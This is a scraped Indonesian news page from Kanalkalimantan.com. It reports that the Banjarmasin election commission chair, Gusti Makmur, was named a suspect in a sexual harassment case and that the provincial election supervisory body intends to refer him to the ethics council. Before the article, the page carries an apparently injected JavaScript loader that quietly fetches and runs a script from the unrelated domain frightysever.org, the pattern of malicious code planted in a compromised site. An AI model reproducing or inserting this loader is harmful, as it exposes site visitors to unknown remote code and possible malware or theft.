(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus dugaan pelecehan seksual yang dilakukan oleh Ketua KPU Kota Banjarmasin, Gusti Makmur kini memasuki babak baru, semenjak dinaikkan statusnya menjadi tersangka.
Komisioner Bawaslu Provinsi Kalsel, Nur Kholis Majid mengatakan pihaknya sudah melakukan beberapa kajian terkait kasus yang menyeret Ketua KPU itu dan menghasilkan kesimpulan bahwa yang bersangkutan telah melanggar Undang-undang Nomor 7 tahun 2017 tentang Penyelenggaraan Pemilihan Umum.
“Berdasarkan ditetapkannya yang bersangkutan sebagai tersangka, berarti itu sudah terbukti melanggar kode etik,” kata Nur Kholis di kantor Bawaslu Kota Banjarmasin, Senin (27/1/2020) malam.
Langkah Bawaslu Kalsel selanjutnya yaitu menunggu surat resmi keputusan dari Polres Banjarbaru bahwa yang bersangkutan telah ditetapkan sebagai tersangka. Selain itu, dengan 2 alat bukti yang ada, Bawaslu Provinsi Kalsel akan mengajukannya kepada Dewan Kehormatan Penyelenggara Pemilu (DKPP) di Jakarta untuk proses selanjutnya.
“Paling lambat besok (Selasa, 28/1/2020), kami sudah menerima surat putusan itu. Dan akan mengajukan pleno terkait bagaimana status Gusti Makmur di KPU ini melalui Sidang Kehormatan,” ungkapnya.
Lebih lanjut Komisioner Bawaslu Provinsi Kalsel, Azhar Ridhanie mengatakan, langkah yang diambil oleh Bawaslu Kalsel sudah tepat. “Tentu saja proses ini adalah demi kepastian hukum bagi yang bersangkutan dalam integritasnya sebagai penyelenggara pemilu,” kata Dhanie –sapaan akrabnya.
Dhanie menegaskan, ada dua hal yang perlu dijaga dan diperhatikan dalam melaksanakan tugas sebagai penyelenggara pemilu, yaitu etika atau integritas dan saat penyelenggaraan. Jika terbukti dari ditetapkannya Gusti Makmur sebagai tersangka, artinya yang bersangkutan telah melanggar pelanggaran integritas sebagai penyelenggara pemilu.
Sebelumnya, ia memaparkan mengapa hingga saat ini Bawaslu masih belum mengambil sikap terhadap kasus yang menjerat Gusti Makmur. Diketahui, Gusti Makmur masih aktif sebagai komisioner di KPU Kota Banjarmasin. Kendati demikian, pihaknya tetap menganut asas praduga tak bersalah.
“Jadi harus berhati-hati dan tidak tergesa-gesa dalam menangani kasus ini, apalgi kasus ini merupakan kasus yang termasuk non penyelenggaraan,” paparnya.
Dengan demikian, pihaknya tetap menyerahkan keputusan akhir kepada DKPP. Karena, DKPP-lah yang berwenang memutuskan apakah Gusti Makmur melanggar etik atau tidak. “Kita tunggu saja nanti, dengan dua alat bukti dari hasil penyelidikan kepolisian semoga hasilnya bisa segera keluar,” pungkasnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
This website uses cookies.